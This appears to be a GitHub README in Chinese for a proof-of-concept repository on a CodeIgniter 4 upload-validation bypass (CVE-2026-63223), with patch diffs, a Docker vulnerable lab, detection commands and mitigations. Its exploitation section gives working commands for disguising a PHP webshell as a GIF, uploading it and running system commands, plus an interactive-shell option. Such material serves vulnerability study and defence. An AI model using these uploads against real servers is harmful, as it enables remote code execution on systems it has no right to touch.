imbas007/CVE-2026-63223-POC
GitHub: imbas007/CVE-2026-63223-POC
该项目是 CodeIgniter 4 文件上传验证绕过导致远程代码执行漏洞(CVE-2026-63223)的概念验证工具,包含漏洞靶场、利用脚本和补丁分析。
Stars: 0 | Forks: 0
# CVE-2026-63223 PoC — CodeIgniter 4 文件上传 RCE
**CVSS 9.8 (严重)** | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
**CWE-434**: 危险类型文件的不受限制上传
**已修复**: CodeIgniter 4 v4.7.4
**安全通告**: [GHSA-mmj4-63m4-r6h5](https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-mmj4-63m4-r6h5)
## 漏洞概述
CodeIgniter 4 的 `is_image` 和 `mime_in` 文件上传验证规则仅检查**基于内容的 MIME 类型** (magic bytes),而**不检查**客户端提供的文件扩展名。
未经身份验证的攻击者可以在 PHP webshell 前面加上图片 magic bytes (`GIF89a`, `\xFF\xD8\xFF\xE0`, `\x89PNG…`),并将其命名为 `shell.php`,这样它就能通过 `is_image` 或 `mime_in` 验证,同时保留危险的执行扩展名。当上传的文件存储在可从 Web 访问的目录中时,攻击者就可以实现**任意远程代码执行**。
### 触发条件 (必须同时满足以下三个条件)
1. 应用程序使用 `is_image` 或 `mime_in` 验证上传,**但没有**进行独立的扩展名检查 (`ext_in`)
2. 上传的文件使用**客户端提供的文件名**进行保存 (保留了 `.php` 扩展名)
3. 上传文件存储在 **Web 可访问**的目录中,且服务器会在该目录下执行 PHP
## 补丁分析
v4.7.4 中的修复添加了两个新的辅助方法,并将它们接入了验证规则中:
### `is_image` — 修复前后对比
```
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
return false;
}
return true;
// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
return false;
}
if ($this->hasInvalidImageClientExtension($file)) { // ← NEW
return false;
}
return true;
```
### `mime_in` — 修复前后对比
```
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
return true;
// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
if ($this->hasMismatchedClientExtension($file)) { // ← NEW
return false;
}
return true;
```
### 新增辅助方法
```
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
return mb_strpos($type, 'image') !== 0;
}
// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
return $file->guessExtension() !== $clientExtension;
}
```
**核心洞察**:该修复委托给现有的 `Mimes::guessTypeFromExtension()` 和 `$file->guessExtension()` 方法,增加了第二层验证。没有扩展名的上传文件 (例如 JavaScript Blob 对象) 仍然会被接受。
## PoC 组件
```
CVE-2026-63223-POC/
├── README.md ← this file
├── Dockerfile ← vulnerable lab setup
├── docker-compose.yml ← easy `docker compose up`
├── exploit/
│ └── exploit.py ← Python exploit script
└── vulnerable-app/
├── app/Controllers/Upload.php ← vulnerable controller
├── app/Config/Routes.php ← routing
└── app/Views/
├── upload_form_avatar.php ← is_image bypass form
├── upload_form_doc.php ← mime_in bypass form
└── upload_form_safe.php ← SAFE reference form
```
## 快速开始 — Docker 实验环境
```
# 构建并启动漏洞应用
docker compose up -d
# 验证其正在运行
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"
# 在浏览器中打开
open http://localhost:8080/upload/avatar
```
### Endpoint
| Endpoint | 漏洞状态 | 验证规则 |
|----------|--------------|-------------|
| `/upload/avatar` | **存在漏洞** | 仅 `is_image` |
| `/upload/document` | **存在漏洞** | 仅 `mime_in` |
| `/upload/safe` | 安全 (对照组) | `is_image` + `ext_in` |
## 漏洞利用
### 方法 1 — 交互式
```
# 安装依赖
pip install requests
# 单条命令执行
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"
# 交互式 shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell
# 使用 mime_in vector(PDF 在允许列表中,但 PHP 仍然通过)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"
```
### 方法 2 — 手动 (curl)
```
# 生成 payload
python3 -c "
import sys
php = b''
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# 验证其被 file(1) 识别为图像
file evil.php
# → evil.php: GIF image data
# 上传至存在漏洞的 is_image endpoint
curl -F "avatar=@evil.php;type=image/gif" http://localhost:8080/upload/avatar
# 执行
curl http://localhost:8080/uploads/evil.php?c=id
```
### 方法 3 — 不同的 MIME 伪装
```
# JPEG variant(同样通过 is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method jpg --filename wp-admin.php --cmd "ls -la /"
# PNG variant(同样通过 is_image,.phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method png --filename config.phtml --shell
```
## 原理解析
PHP 的 `$_FILES` 超全局变量和 CodeIgniter 的 `UploadedFile` 对象携带了**两部分独立的信息**:
1. **`type` / `getMimeType()`** — 源自文件的 magic bytes (基于内容),由浏览器作为 multipart 上传的 `Content-Type` 部分发送
2. **`name` / `getClientName()`** — 来自客户端的原始文件名,包含扩展名
在打补丁之前,`is_image` 和 `mime_in` 只检查了第 1 点。攻击者发送:
```
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif
GIF89a
```
- ✅ `is_image` 看到的是 `image/gif` → 验证通过
- ✅ 文件被保存为 `shell.php` (保留了客户端文件名)
- ✅ Apache/PHP-FPM 执行 uploads 目录下的 `.php` 文件 → **RCE**
打补丁之后,扩展名会进行交叉检查:
- ❌ `hasInvalidImageClientExtension()` 发现 `.php` → 拒绝请求
## 检测
在你的 uploads 目录中查找带有图片 magic bytes 的 PHP/PHTML/PHP5 文件:
```
# 查找以 image headers 开头的 PHP 文件
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'
# 或检查 raw bytes
xxd uploads/*.php | head
```
WAF/IDS 规则应对以下情况的 multipart 上传进行标记:
- `Content-Type` 是 `image/*`,但 `filename` 具有非图片扩展名
- `Content-Type` 在允许列表中,但 `filename` 扩展名是 `.php`
## 修复建议
1. **升级到 CodeIgniter 4 v4.7.4+**
2. **临时缓解措施** (如果补丁延迟):在 `is_image` / `mime_in` 旁边添加 `ext_in` 规则
3. **深度防御**:
- 将上传文件存储在 Web 根目录之外,通过 readfile() 代理提供服务
- 在 Web 服务器级别禁用 uploads 目录中的 PHP 执行:
php_admin_flag engine off
- 生成由服务器控制的文件名,而不是保留客户端文件名
## 参考
- [GitHub 安全通告 — GHSA-mmj4-63m4-r6h5](https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-mmj4-63m4-r6h5)
- [修复提交 — b6e9a4f](https://github.com/codeigniter4/CodeIgniter4/commit/b6e9a4fa1dca2df3d3f261bdf61532df8c6420aa)
- [发布版本 v4.7.4](https://github.com/codeigniter4/CodeIgniter4/releases/tag/v4.7.4)
- [IONIX 威胁中心分析](https://www.ionix.io/threat-center/cve-2026-63223/)
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-63223)
## 法律声明
本 PoC 仅供**教育目的和授权安全测试使用**。该漏洞已进行负责任的披露和修复。请勿在未经明确许可的情况下,将其用于您不拥有的系统。作者对任何滥用行为不承担任何责任。
标签:CodeIgniter, ffuf, PoC, Web安全, 文件上传漏洞, 暴力破解, 编程工具, 蓝队分析, 请求拦截, 远程代码执行, 逆向工具